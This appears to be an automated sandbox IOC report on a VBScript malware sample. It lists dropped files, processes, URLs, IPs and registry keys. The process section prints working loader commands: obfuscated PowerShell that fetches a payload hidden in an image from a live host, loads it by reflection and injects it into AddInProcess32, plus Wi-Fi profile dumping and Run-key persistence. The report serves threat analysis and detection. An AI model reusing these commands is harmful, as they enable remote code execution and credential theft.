IOC Report
Order Inquiry.vbs

loading gif

Files

File Path
Type
Category
Malicious
Order Inquiry.vbs
Unicode text, UTF-16, little-endian text, with CRLF line terminators
initial sample
 malicious
C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\AddInProcess32.exe.log
ASCII text, with CRLF line terminators
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\3dasY[1].txt
ASCII text, with very long lines (11457), with CRLF line terminators
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
data
dropped
C:\Users\user\AppData\Local\Temp\24a4ohrz.default-release\cert9.db
SQLite 3.x database, last written using SQLite version 3042000, page size 32768, file counter 7, database pages 7, cookie 0x5, schema 4, UTF-8, version-valid-for 7
dropped
C:\Users\user\AppData\Local\Temp\24a4ohrz.default-release\key4.db
SQLite 3.x database, last written using SQLite version 3042000, page size 32768, file counter 2, database pages 9, cookie 0x6, schema 4, UTF-8, version-valid-for 2
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2h5ze3qi.xk1.ps1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_naao5b22.0uk.psm1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_syl04dt5.dtd.psm1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uu4ycpno.as2.ps1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\tmp1F34.tmp.dat
SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
dropped
C:\Users\user\AppData\Local\Temp\tmp3198.tmp.dat
SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
dropped
C:\Users\user\AppData\Local\Temp\tmp31D7.tmp.dat
SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
dropped
C:\Users\user\AppData\Local\Temp\tmp448A.tmp.dat
SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
dropped
C:\Users\user\AppData\Local\Temp\tmp5604.tmp.dat
SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
dropped
C:\Users\user\AppData\Local\Temp\tmp6720.tmp.dat
SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
dropped
C:\Users\user\AppData\Local\Temp\tmp7752.tmp.dat
SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
dropped
C:\Users\user\AppData\Local\Temp\tmp77A1.tmp.dat
SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
dropped
C:\Users\user\AppData\Local\Temp\tmpA565.tmp.dat
SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
dropped
C:\Users\user\AppData\Local\Temp\tmpB97.tmp.dat
SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
dropped
C:\Users\user\AppData\Local\Temp\tmpC105.tmp.dat
SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
dropped
C:\Users\user\AppData\Local\Temp\tmpC173.tmp.dat
SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
dropped
C:\Users\user\AppData\Local\Temp\tmpCE79.tmp.dat
SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
dropped
C:\Users\user\AppData\Local\Temp\tmpDB30.tmp.dat
SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
dropped
C:\Users\user\AppData\Local\Temp\tmpE8C2.tmp.dat
SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
dropped
C:\Users\user\AppData\Local\Temp\tmpF3A4.tmp.dat
SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
dropped
There are 16 hidden files, click here to show them.

Processes

Path
Cmdline
Malicious
C:\Windows\System32\wscript.exe
C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Order Inquiry.vbs"
 malicious
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDkDgTreODgTreDgTrevDgTreDDgTreDgTreMQDgTrezDgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDgDgTreMgDgTre4DgTreDQDgTreMQDgTrezDgTreDgDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDkDgTreODgTreDgTrevDgTreDDgTreDgTreMQDgTrezDgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDgDgTreMgDgTre4DgTreDQDgTreMQDgTrezDgTreDgDgTreJwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTre7DgTreCDgTreDgTreaQBmDgTreCDgTreDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTretDgTreG4DgTreZQDgTregDgTreCQDgTrebgB1DgTreGwDgTrebDgTreDgTrepDgTreCDgTreDgTreewDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreFQDgTreZQB4DgTreHQDgTreLgBFDgTreG4DgTreYwBvDgTreGQDgTreaQBuDgTreGcDgTreXQDgTre6DgTreDoDgTreVQBUDgTreEYDgTreODgTreDgTreuDgTreEcDgTreZQB0DgTreFMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreQgB5DgTreHQDgTreZQBzDgTreCkDgTreOwDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBTDgTreFQDgTreQQBSDgTreFQDgTrePgDgTre+DgTreCcDgTreOwDgTregDgTreCQDgTreZQBuDgTreGQDgTreRgBsDgTreGEDgTreZwDgTregDgTreD0DgTreIDgTreDgTrenDgTreDwDgTrePDgTreBCDgTreEEDgTreUwBFDgTreDYDgTreNDgTreBfDgTreEUDgTreTgBEDgTreD4DgTrePgDgTrenDgTreDsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreEkDgTrebgBkDgTreGUDgTreeDgTreBPDgTreGYDgTreKDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBJDgTreG4DgTreZDgTreBlDgTreHgDgTreTwBmDgTreCgDgTreJDgTreBlDgTreG4DgTreZDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTregDgTreGkDgTreZgDgTregDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreGUDgTreIDgTreDgTrewDgTreCDgTreDgTreLQBhDgTreG4DgTreZDgTreDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreHQDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreKQDgTregDgTreHsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreC4DgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreOwDgTregDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreDsDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEMDgTrebwBtDgTreG0DgTreYQBuDgTreGQDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreFMDgTredQBiDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCwDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEwDgTreZQBuDgTreGcDgTredDgTreBoDgTreCkDgTreOwDgTregDgTreCQDgTreYwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreEMDgTrebwBuDgTreHYDgTreZQByDgTreHQDgTreXQDgTre6DgTreDoDgTreRgByDgTreG8DgTrebQBCDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBTDgTreHQDgTrecgBpDgTreG4DgTreZwDgTreoDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreQwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreUgBlDgTreGYDgTrebDgTreBlDgTreGMDgTredDgTreBpDgTreG8DgTrebgDgTreuDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQBdDgTreDoDgTreOgBMDgTreG8DgTreYQBkDgTreCgDgTreJDgTreBjDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreEIDgTreeQB0DgTreGUDgTrecwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHQDgTreeQBwDgTreGUDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBBDgTreHMDgTrecwBlDgTreG0DgTreYgBsDgTreHkDgTreLgBHDgTreGUDgTredDgTreBUDgTreHkDgTrecDgTreBlDgTreCgDgTreJwBSDgTreHUDgTrebgBQDgTreEUDgTreLgBIDgTreG8DgTrebQBlDgTreCcDgTreKQDgTre7DgTreCDgTreDgTreJDgTreBtDgTreGUDgTredDgTreBoDgTreG8DgTreZDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreHQDgTreeQBwDgTreGUDgTreLgBHDgTreGUDgTredDgTreBNDgTreGUDgTredDgTreBoDgTreG8DgTreZDgTreDgTreoDgTreCcDgTreVgBBDgTreEkDgTreJwDgTrepDgTreC4DgTreSQBuDgTreHYDgTrebwBrDgTreGUDgTreKDgTreDgTrekDgTreG4DgTredQBsDgTreGwDgTreLDgTreDgTregDgTreFsDgTrebwBiDgTreGoDgTreZQBjDgTreHQDgTreWwBdDgTreF0DgTreIDgTreDgTreoDgTreCcDgTredDgTreB4DgTreHQDgTreLgBkDgTreHIDgTrebwB3DgTreHMDgTreLwDgTrexDgTreDcDgTreLgDgTre5DgTreDMDgTreLgDgTrezDgTreDIDgTreMQDgTreuDgTreDMDgTreOQDgTrevDgTreC8DgTreOgBwDgTreHQDgTredDgTreBoDgTreCcDgTreIDgTreDgTresDgTreCDgTreDgTreJwDgTrexDgTreCcDgTreIDgTreDgTresDgTreCDgTreDgTreJwBcDgTreFwDgTredDgTreBzDgTreGMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreFwDgTreQwBcDgTreFDgTreDgTrecgBvDgTreGcDgTrecgBhDgTreG0DgTreIDgTreBGDgTreGkDgTrebDgTreBlDgTreHMDgTreXDgTreDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTreYQBiDgTreHUDgTrecgByDgTreGEDgTrecgDgTrenDgTreCwDgTreJwBBDgTreGQDgTreZDgTreBJDgTreG4DgTreUDgTreByDgTreG8DgTreYwBlDgTreHMDgTrecwDgTrezDgTreDIDgTreJwDgTresDgTreCcDgTreJwDgTrepDgTreCkDgTrefQDgTregDgTreH0DgTre';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('DgTre','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"
malicious
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/798/013/original/new_image.jpg?1718284138', 'https://uploaddeimagens.com.br/images/004/798/013/original/new_image.jpg?1718284138'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('RunPE.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.drows/17.93.321.39//:ptth' , '1' , '\\tsclient\C\Program Files\' , 'aburrar','AddInProcess32',''))} }"
malicious
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /C copy *.vbs "\\tsclient\C\Program Files\aburrar.vbs"
 malicious
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
 malicious
C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
 malicious
C:\Windows\SysWOW64\netsh.exe
netsh wlan show profile
 malicious
C:\Windows\System32\conhost.exe
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
C:\Windows\System32\conhost.exe
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
C:\Windows\System32\conhost.exe
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
C:\Windows\System32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
C:\Windows\SysWOW64\chcp.com
chcp 65001
C:\Windows\SysWOW64\findstr.exe
findstr All
There are 3 hidden processes, click here to show them.

URLs

Name
IP
Malicious
https://paste.ee/d/3dasY
188.114.97.3
 malicious
https://whatismyipaddressnow.co/API/FETCH/filter.php?countryid=14&token=vKEV5IjRm7wh
188.114.96.3
 malicious
https://uploaddeimagens.com.br
unknown
 malicious
https://whatismyipaddressnow.co/API/FETCH/getcountry.php
188.114.96.3
 malicious
https://uploaddeimagens.com.br/images/004/798/013/original/new_image.jpg?1718284138
188.114.97.3
 malicious
http://whatismyipaddressnow.co
unknown
 malicious
https://whatismyipaddressnow.co
unknown
 malicious
https://duckduckgo.com/chrome_newtab
unknown
https://duckduckgo.com/ac/?q=
unknown
https://go.microsoft.co
unknown
https://analytics.paste.ee
unknown
https://aka.ms/pscore6
unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
unknown
http://icanhazip.com/
104.16.185.241
https://chrome.google.com/webstore?hl=en
unknown
https://chrome.google.com/webstore?hl=enWeb
unknown
https://www.google.com
unknown
https://www.oracle.com/technetwork/java/javase/downloads
unknown
http://x1.c.lencr.org/0
unknown
http://x1.i.lencr.org/0
unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
unknown
http://93.123.39.71/sword.txt
93.123.39.71
http://ip-api.com
unknown
https://paste.ee/d/3dasY0
unknown
https://cdnjs.cloudflare.com
unknown
http://icanhazip.com
unknown
https://cdnjs.cloudflare.com;
unknown
https://paste.ee/d/3dasY4
unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
unknown
https://secure.gravatar.com
unknown
https://www.office.com/
unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico
unknown
http://pesterbdd.com/images/Pester.png
unknown
https://paste.ee/d/3dasY$
unknown
http://www.apache.org/licenses/LICENSE-2.0.html
unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.elMx_wJzrE6l
unknown
https://www.google.com;
unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
unknown
https://www.office.com/Office
unknown
http://crl.rootca1.amazontrust.com/rootca1.crl0
unknown
https://chrome.google.com/webstore?hT
unknown
http://ocsp.rootca1.amazontrust.com0:
unknown
https://www.ecosia.org/newtab/
unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
unknown
https://github.com/Pester/Pester
unknown
https://www.office.com/LR
unknown
https://ac.ecosia.org/autocomplete?q=
unknown
https://paste.ee/_
unknown
https://paste.ee/d/3dasYz
unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?
unknown
https://analytics.paste.ee;
unknown
https://aka.ms/pscore68
unknown
https://support.mozilla.org
unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
unknown
https://paste.ee/H
unknown
https://themes.googleusercontent.com
unknown
http://ip-api.com/line/?fields=hosting
208.95.112.1
There are 47 hidden URLs, click here to show them.

Domains

Name
IP
Malicious
paste.ee
188.114.97.3
 malicious
ip-api.com
208.95.112.1
 malicious
uploaddeimagens.com.br
188.114.97.3
 malicious
75.103.13.0.in-addr.arpa
unknown
 malicious
whatismyipaddressnow.co
188.114.96.3
icanhazip.com
104.16.185.241

IPs

IP
Domain
Country
Malicious
208.95.112.1
ip-api.com
United States
malicious
188.114.97.3
paste.ee
European Union
malicious
188.114.96.3
whatismyipaddressnow.co
European Union
104.16.185.241
icanhazip.com
United States
93.123.39.71
unknown
Bulgaria

Registry

Path
Value
Malicious
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Path
 malicious
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
EnableFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
EnableAutoFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
EnableConsoleTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
FileTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
ConsoleTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
MaxFileSize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
FileDirectory
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
EnableFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
EnableAutoFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
EnableConsoleTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
FileTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
ConsoleTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
MaxFileSize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
FileDirectory
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\AddInProcess32_RASAPI32
EnableFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\AddInProcess32_RASAPI32
EnableAutoFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\AddInProcess32_RASAPI32
EnableConsoleTracing
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\AddInProcess32_RASAPI32
FileTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\AddInProcess32_RASAPI32
ConsoleTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\AddInProcess32_RASAPI32
MaxFileSize
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\AddInProcess32_RASAPI32
FileDirectory
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\AddInProcess32_RASMANCS
EnableFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\AddInProcess32_RASMANCS
EnableAutoFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\AddInProcess32_RASMANCS
EnableConsoleTracing
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\AddInProcess32_RASMANCS
FileTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\AddInProcess32_RASMANCS
ConsoleTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\AddInProcess32_RASMANCS
MaxFileSize
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\AddInProcess32_RASMANCS
FileDirectory
There are 19 hidden registries, click here to show them.

Memdumps

Base Address
Regiontype
Protect
Malicious
30DC000
trusted library allocation
page read and write
 malicious
23CF000
stack
page read and write
1E4E7D01000
heap
page read and write
750000
heap
page read and write
5BE000
stack
page read and write
260C4BEF000
heap
page read and write
37C970E000
stack
page read and write
58CE000
stack
page read and write
21CD6F90000
heap
page read and write
7FFB4B064000
trusted library allocation
page read and write
34CE000
trusted library allocation
page read and write
21CD930D000
trusted library allocation
page read and write
1E4CDFC0000
heap
page read and write
1E4CF950000
heap
page read and write
1280000
trusted library allocation
page read and write
7FFB4AEB2000
trusted library allocation
page read and write
260C2CE7000
heap
